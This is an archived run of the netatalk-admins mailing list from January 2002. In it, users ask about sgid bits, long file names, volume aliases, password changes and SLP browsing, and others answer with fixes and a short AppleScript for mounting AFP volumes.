	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06644
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 Jan 2002 17:17:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06622
	for netatalk.administrators-members@umich.edu; Tue, 29 Jan 2002 17:17:00 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06592
	for <netatalk-admins@umich.edu>; Tue, 29 Jan 2002 17:16:59 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16VgYU-000599-00; Tue, 29 Jan 2002 23:16:42 +0100
Received: from [193.158.171.136] (helo=[193.158.171.136])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16VgYT-0000JA-00; Tue, 29 Jan 2002 23:16:41 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Tue, 29 Jan 2002 23:16:58 +0100
Subject: Re: [Netatalk-devel] sgid bits && netatalk 1.5.1.1
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
CC: Vincent Meoc <vincent@duke-interactive.com>
Message-ID: <B87CD67C.2FC6F%ts@visual-s.de>
In-Reply-To: <20020128102508.GG3729@terre>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

(I took this back to Netatalk-Admins)

Vincent,

I'm sorry I can't offer much help (as I'm nor a *nix geek, neither
running Debian), but sgids simply work for me, maybe just because of my
simplistic U&G setup. (Suse 7.3 386).

I cannot locate your original request, but a stab into the dark:
I believe the file/folder owner must be member of the group
that is to be inherited?

-Thomas 

On 2002-01-28 11:25 +0100, Vincent Meoc wrote:

> First : Sorry for my poor english
> Second : 
> Hello,
> 
> I 've posted a message recently with netatalk problem to manage sgid bits on a
> woody Debian. 
> I've tried the last tarball version after to have desinstalled the Debian
> version to see if it fix it but... nope.
> Will it be fix on future release ?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Jan 30 08:55:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA17709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 08:55:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA05664
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 08:55:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA05639
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 08:55:45 -0500 (EST)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA05593
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 08:55:43 -0500 (EST)
Received: from [68.14.83.188] (coxlaptop [68.14.83.188])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id JAA05556
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 09:00:17 -0500 (EST)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Long file names
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Wed, 30 Jan 2002 08:55:43 -0500
Message-ID: <1f6tfel.li7va0llxbbpM@[68.14.83.188]>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 372 days)

I'm using 1.4b2+asun (or there abouts) and I've noticed an odity that I
hope is fixed in a more recent version.

If I get a file with more than 31 characters, we simply don't see it.

We don't get a truncated versin like slfsld~2, we get NOTHING.

Has this been fixed?

From netatalk.administrators-errors@umich.edu  Wed Jan 30 12:57:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA00425
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 12:57:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA05054
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 12:57:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA05042
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 12:57:56 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA05012
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 12:57:55 -0500 (EST)
Received: (qmail 17464 invoked by alias); 30 Jan 2002 17:57:07 -0000
Received: (qmail 17452 invoked from network); 30 Jan 2002 17:57:07 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 30 Jan 2002 17:57:07 -0000
Subject: Re: Long file names
From: Matthew Keller <kellermg@potsdam.edu>
To: Lee Blevins <leeb@digitalgraphics.net>
Cc: Netatalk List <netatalk-admins@umich.edu>
In-Reply-To: <1f6tfel.li7va0llxbbpM@[68.14.83.188]>
References: <1f6tfel.li7va0llxbbpM@[68.14.83.188]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 30 Jan 2002 12:58:21 -0500
Message-Id: <1012413501.2505.145.camel@comp10574>
Mime-Version: 1.0


	Nope. It's a Feature, not a bug. :) I've thought of a number of ways to
handle it (kludge) but in reality, until AFP3 gets implemented, the
complexities involved are numerous.

On Wed, 2002-01-30 at 08:55, Lee Blevins wrote:
> I'm using 1.4b2+asun (or there abouts) and I've noticed an odity that I
> hope is fixed in a more recent version.
> 
> If I get a file with more than 31 characters, we simply don't see it.
> 
> We don't get a truncated versin like slfsld~2, we get NOTHING.
> 
> Has this been fixed?
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Jan 30 13:38:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA02759
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 13:38:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA12448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 13:38:01 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA12444
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 13:38:00 -0500 (EST)
Received: from hamlet.mprint.com (hamlet.mprint.com [206.53.3.226])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA12426
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 13:37:59 -0500 (EST)
Received: from [192.168.0.103] (peter.mprint.com [192.168.0.103])
	by hamlet.mprint.com (8.11.1/8.11.1) with ESMTP id g0UIbfx25544
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 13:37:48 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 30 Jan 2002 13:37:37 -0500
Subject: Re: Long file names
From: Peter Anton <peter@mprint.com>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B87DA7A1.E09F%peter@mprint.com>
In-Reply-To: <1012413501.2505.145.camel@comp10574>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On a side note... 
Good to see you Lee! Last I saw, you were on the comp.publish.prepress
usenet group, complaining about how much Trapwise sucks ;) Yep. we're still
using trapwise... And the offer for a beer if ever you find yourself in
Boston still stands.

    But more on topic... As complex as the ramifications are, kludges simply
are needed in some cases. In our case, the volume in question is available
via netatalk to our internal network, and available to the internet via ftp.
    Coming as they are from various platforms, the files have various
filename lengths, special characters that may cause trouble on some
platforms, etc.
    Coming as they are from various FTP client applications, the special
characters may even be mapped in transit.
    Our LUsers (who can't navigate a Mac ethernet network without an alias)
access the directory to pull uploaded files into our Mac network, so
everything has to be Mac kosher.
    Let's just say that they see alot of ~'s from the renaming scripts I've
created... 

on 1/30/02 12:58 PM, Matthew Keller at kellermg@potsdam.edu wrote:
> Nope. It's a Feature, not a bug. :) I've thought of a number of ways to
> handle it (kludge) but in reality, until AFP3 gets implemented, the
> complexities involved are numerous.

On Wed, 2002-01-30 at 08:55, Lee Blevins wrote:
>> If I get a file with more than 31 characters, we simply don't see it.
>> We don't get a truncated versin like slfsld~2, we get NOTHING.

--
Peter John Anton         IT Manager, MicroPRINT
Waltham, Mass., USA               781-890-7500
peter@mprint.com



From netatalk.administrators-errors@umich.edu  Wed Jan 30 14:03:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA04124
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 14:03:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA27093
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 14:03:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA27083
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 14:03:53 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA26999
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 14:03:50 -0500 (EST)
Received: (qmail 20004 invoked by alias); 30 Jan 2002 19:02:59 -0000
Received: (qmail 19990 invoked from network); 30 Jan 2002 19:02:59 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 30 Jan 2002 19:02:59 -0000
Subject: Re: Long file names
From: Matthew Keller <kellermg@potsdam.edu>
To: Peter Anton <peter@mprint.com>
Cc: Netatalk List <netatalk-admins@umich.edu>
In-Reply-To: <B87DA7A1.E09F%peter@mprint.com>
References: <B87DA7A1.E09F%peter@mprint.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 30 Jan 2002 14:04:13 -0500
Message-Id: <1012417453.2852.162.camel@comp10574>
Mime-Version: 1.0

	On a "pure" Mac net, I can see the value in that for sure. I was
thinking of a little more "harmonious" way to provide "truncated" names
to Mac users without actually touching the filename (eg. not dumbing
everyone else down). ;)

On Wed, 2002-01-30 at 13:37, Peter Anton wrote:
>     But more on topic... As complex as the ramifications are, kludges simply
> are needed in some cases. In our case, the volume in question is available
> via netatalk to our internal network, and available to the internet via ftp.
>     Coming as they are from various platforms, the files have various
> filename lengths, special characters that may cause trouble on some
> platforms, etc.
>     Coming as they are from various FTP client applications, the special
> characters may even be mapped in transit.
>     Our LUsers (who can't navigate a Mac ethernet network without an alias)
> access the directory to pull uploaded files into our Mac network, so
> everything has to be Mac kosher.
>     Let's just say that they see alot of ~'s from the renaming scripts I've
> created... 
> 
> on 1/30/02 12:58 PM, Matthew Keller at kellermg@potsdam.edu wrote:
> > Nope. It's a Feature, not a bug. :) I've thought of a number of ways to
> > handle it (kludge) but in reality, until AFP3 gets implemented, the
> > complexities involved are numerous.
> 
> On Wed, 2002-01-30 at 08:55, Lee Blevins wrote:
> >> If I get a file with more than 31 characters, we simply don't see it.
> >> We don't get a truncated versin like slfsld~2, we get NOTHING.
> 
> --
> Peter John Anton         IT Manager, MicroPRINT
> Waltham, Mass., USA               781-890-7500
> peter@mprint.com
> 
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Jan 30 16:22:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA12403
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 16:22:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA24304
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 16:22:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA24230
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 16:22:08 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA24161
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 16:22:04 -0500 (EST)
Received: from host213-1-182-52.btinternet.com ([213.1.182.52] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16W2AZ-0006TN-00
	for netatalk-admins@umich.edu; Wed, 30 Jan 2002 21:21:28 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id VAA25114
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 21:19:42 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100300b87e0f347c1b@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Wed, 30 Jan 2002 21:19:40 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Aliases (sorry) and passwords
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I have Netatalk 1.4 + ASUN 2.1.3 running afpd only (don't want to run 
Appletalk), but have a few questions I could do with some help on.

That old chestnut "aliases" is puzzling me. I know there's been a lot 
of discussion about aliases to files and or folders, but I'm 
concerned why an alias to the volume (i.e. in Apple Menu -> Recent 
Servers) can never remount the volume. Is this correct? I'm sure 
AppleShareIP does not exhibit this behaviour and Personal file 
sharing doesn't, even over IP. Is this a Netatalk thing and is there 
a later fix - I know some of the other alias problems are getting 
resolved?

To avoid the need for aliases to provide quick remounting, is there a 
way to browse AppleShareIP servers, i.e. NOT AppleTalk, IP only. I 
thought I had read that Apple had introduced a new protocol to do 
exactly that (in conjunction with DNS I seem to remember), but I 
cannot remember what it was called - can Netatalk offer this?

I have included -setpassword in afpd.conf and indeed the button is no 
longer greyed out when connecting via the chooser, but I cannot 
actually change a password. Anything I try fails and tells me to 
contact the network administrator, ha. I did read that this was due 
to using passwords that are too simple, but even really complex ones 
also fail. Is it actually possible to change passwords in this 
manner, in which case how, or is Netatalk incapable of this?

If I was able to change the password, would this update the UNIX 
password as well? If not, is it possible to set it up so that it does?

Would it be a good idea to use one of the later 1.5, 1.5.1 builds - 
am I right that they include the ASUN stuff?

Thanks
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Wed Jan 30 18:33:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA18880
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 18:33:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA06223
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 18:33:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA06209
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 18:33:03 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA06182
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 18:33:01 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id AAA23119;
	Thu, 31 Jan 2002 00:59:14 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 31 Jan 2002 00:33:17 +0100
Subject: Re: Aliases (sorry) and passwords
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B87E414C.1A388%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100300b87e0f347c1b@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 30 Jan 2002 21:19:40 +0000, Ken Gillett wrote:

> I'm concerned why an alias to the volume (i.e. in Apple Menu -> Recent
> Servers) can never remount the volume. Is this correct?

No definitely not. What error messages do you get? Which AppleShare client
do you use (3.8 or 3.8.1?) and which MacOS versions? Are your AFP
connections established via AppleTalk or TCP?

> I'm sure AppleShareIP does not exhibit this behaviour and Personal file
> sharing doesn't, even over IP.

There are some well-known problems, one with identical volume creation
times, that prevent mounting a volume and the other with AppleShare client
3.8(.1) falling back to AppleTalk while resolving such a server alias.

> Is this a Netatalk thing and is there a later fix - I know some of the other
> alias problems are getting resolved?

IMHO not finally. The new CNID scheme as well as the 'inode-kludge'/'mtab'/
'did-hash' scheme provide persistant file- and folder-IDs, so Aliases won't
point to nowhere after remounting a volume. But there are still problems
with both schemes.

> To avoid the need for aliases to provide quick remounting, is there a
> way to browse AppleShareIP servers, i.e. NOT AppleTalk, IP only. I
> thought I had read that Apple had introduced a new protocol to do
> exactly that (in conjunction with DNS I seem to remember), but I
> cannot remember what it was called - can Netatalk offer this?

I think, you speak about SLP (service location protocol). The recent
netatalk versions can be configured to register themselves with OpenSLP. But
you can also use static SLP entries that can be browsed from within network
browser on MacOS 8.5 (?) and above. Take a look at <http://www.openslp.org>

> [...]
> Would it be a good idea to use one of the later 1.5, 1.5.1 builds -

Yeah :-)

> am I right that they include the ASUN stuff?

Sure.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jan 30 19:26:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA21511
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 19:26:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA19405
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 19:26:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA19391
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 19:26:32 -0500 (EST)
Received: from mout04.kundenserver.de (mout04.kundenserver.de [195.20.224.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA19370
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 19:26:31 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout04.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16W53e-0007TR-00
	for netatalk-admins@umich.edu; Thu, 31 Jan 2002 01:26:30 +0100
Received: from [193.158.171.253] (helo=[193.158.171.253])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16W53c-0002eU-00
	for netatalk-admins@umich.edu; Thu, 31 Jan 2002 01:26:28 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 31 Jan 2002 01:26:43 +0100
Subject: Re: Aliases (sorry) and passwords
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B87E4D5D.2FCF2%ts@visual-s.de>
In-Reply-To: <p05100300b87e0f347c1b@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2002-01-30 22:19 +0100, Ken Gillett wrote:

> That old chestnut "aliases" is puzzling me. I know there's been a lot
> of discussion about aliases to files and or folders, but I'm
> concerned why an alias to the volume (i.e. in Apple Menu -> Recent
> Servers) can never remount the volume. Is this correct? I'm sure
> AppleShareIP does not exhibit this behaviour and Personal file
> sharing doesn't, even over IP. Is this a Netatalk thing and is there
> a later fix - I know some of the other alias problems are getting
> resolved?

Try a short AppleScript, see forwarded message:

------ Forwarded Message
From: pete <pete@linuxfreemail.com>
Date: Wed, 03 Oct 2001 11:52:37 -0700
To: <appleshare-ip@lists.apple.com>, <klubar@emiboston.com>,
<Dan@canford.com>
Subject: Re: Connecting to appleshareIP server  over the internet

Uh....not even that complicated. Sorry to complexify. Do just as Dan said,
but leave the password out if you want more security. The user will be
prompted to enter the password by the Chooser's standard login dialog.

mount volume "afp://fred@ip.ad.re.ss/volume.name/"

Sorry Dan - your way is clearly the cleaner one.
------ End Forwarded Message

> To avoid the need for aliases to provide quick remounting, is there a
> way to browse AppleShareIP servers, i.e. NOT AppleTalk, IP only. I
> thought I had read that Apple had introduced a new protocol to do
> exactly that (in conjunction with DNS I seem to remember), but I
> cannot remember what it was called - can Netatalk offer this?

SLP (service location protocol) is your friend.
<http://telia.dl.sourceforge.net/openslp/openslp-1.0.6-1.i386.rpm >

I believe you should be able to even propagate Netatalk 1.4 + ASUN 2.1.3
by a static entry. I'm already on Netatalk 1.5.1.1, therefore I can't offer
any more help.

-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Jan 30 19:50:38 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA22535
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 19:50:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA08407
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 19:50:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA08402
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 19:50:37 -0500 (EST)
Received: from mout04.kundenserver.de (mout04.kundenserver.de [195.20.224.89])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA08370
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 19:50:36 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout04.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16W5Qx-0001EP-00
	for netatalk-admins@umich.edu; Thu, 31 Jan 2002 01:50:35 +0100
Received: from [193.158.171.175] (helo=[193.158.171.175])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16W5Qw-0002wZ-00
	for netatalk-admins@umich.edu; Thu, 31 Jan 2002 01:50:34 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 31 Jan 2002 01:50:53 +0100
Subject: Re: Aliases (sorry) and passwords
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B87E535B.2FCFD%ts@visual-s.de>
In-Reply-To: <B87E4D5D.2FCF2%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2002-01-31 01:26 +0100, Thomas Schierle wrote:

> Try a short AppleScript, see forwarded message:
> 
> ------ Forwarded Message
> From: pete <pete@linuxfreemail.com>
> Date: Wed, 03 Oct 2001 11:52:37 -0700
> To: <appleshare-ip@lists.apple.com>, <klubar@emiboston.com>,
> <Dan@canford.com>
> Subject: Re: Connecting to appleshareIP server  over the internet
> 
> Uh....not even that complicated. Sorry to complexify. Do just as Dan said,
> but leave the password out if you want more security. The user will be
> prompted to enter the password by the Chooser's standard login dialog.
> 
> mount volume "afp://fred@ip.ad.re.ss/volume.name/"
> 
> Sorry Dan - your way is clearly the cleaner one.
> ------ End Forwarded Message

Of cause, the complete script should be something like:

tell application "Finder"
mount volume "afp://fred@ip.ad.re.ss/volume.name/" with authentication
end tell

-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Jan 30 20:00:54 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA22884
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 Jan 2002 20:00:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA16319
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 Jan 2002 20:00:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA16303
	for netatalk.administrators-members@umich.edu; Wed, 30 Jan 2002 20:00:53 -0500 (EST)
Received: from trinity (bal-cab-96.dial.airstreamcomm.net [64.33.169.97])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA16291
	for <netatalk-admins@umich.edu>; Wed, 30 Jan 2002 20:00:52 -0500 (EST)
Received: from nebuchadnezzar ([192.168.2.4])
	by trinity with esmtp (Exim 3.33 #1 (Debian))
	id 16W5ao-00080L-00; Wed, 30 Jan 2002 19:00:46 -0600
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 30 Jan 2002 19:01:45 -0600
Subject: Re: Aliases (sorry) and passwords
From: Robert Rust <robert.j.rust@uwrf.edu>
To: Thomas Schierle <ts@visual-s.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B87DF398.48FB%robert.j.rust@uwrf.edu>
In-Reply-To: <B87E535B.2FCFD%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I should point out that in my experience, the only version of MacOS 9.x that
the 'mount volume' script command works with a netatalk server in is 9.0.4.
Updates past that break the 'Standard Additions' scripting addition such
that you cannot connect to a netatalk server with 'mount volume'.  This can
be fixed by re-installing the 'Standard Additions' from 9.0.4.

Robert

> 
> On 2002-01-31 01:26 +0100, Thomas Schierle wrote:
> 
>> Try a short AppleScript, see forwarded message:
>> 
>> ------ Forwarded Message
>> From: pete <pete@linuxfreemail.com>
>> Date: Wed, 03 Oct 2001 11:52:37 -0700
>> To: <appleshare-ip@lists.apple.com>, <klubar@emiboston.com>,
>> <Dan@canford.com>
>> Subject: Re: Connecting to appleshareIP server  over the internet
>> 
>> Uh....not even that complicated. Sorry to complexify. Do just as Dan said,
>> but leave the password out if you want more security. The user will be
>> prompted to enter the password by the Chooser's standard login dialog.
>> 
>> mount volume "afp://fred@ip.ad.re.ss/volume.name/"
>> 
>> Sorry Dan - your way is clearly the cleaner one.
>> ------ End Forwarded Message
> 
> Of cause, the complete script should be something like:
> 
> tell application "Finder"
> mount volume "afp://fred@ip.ad.re.ss/volume.name/" with authentication
> end tell
> 
> -Thomas
> 
> -- 
> Thomas Schierle, Munich, Germany
> 
> PGP key [DSS/DH] 0xA23CDA1D available at various public key servers
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Jan 31 02:33:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA10664
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 02:33:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA13256
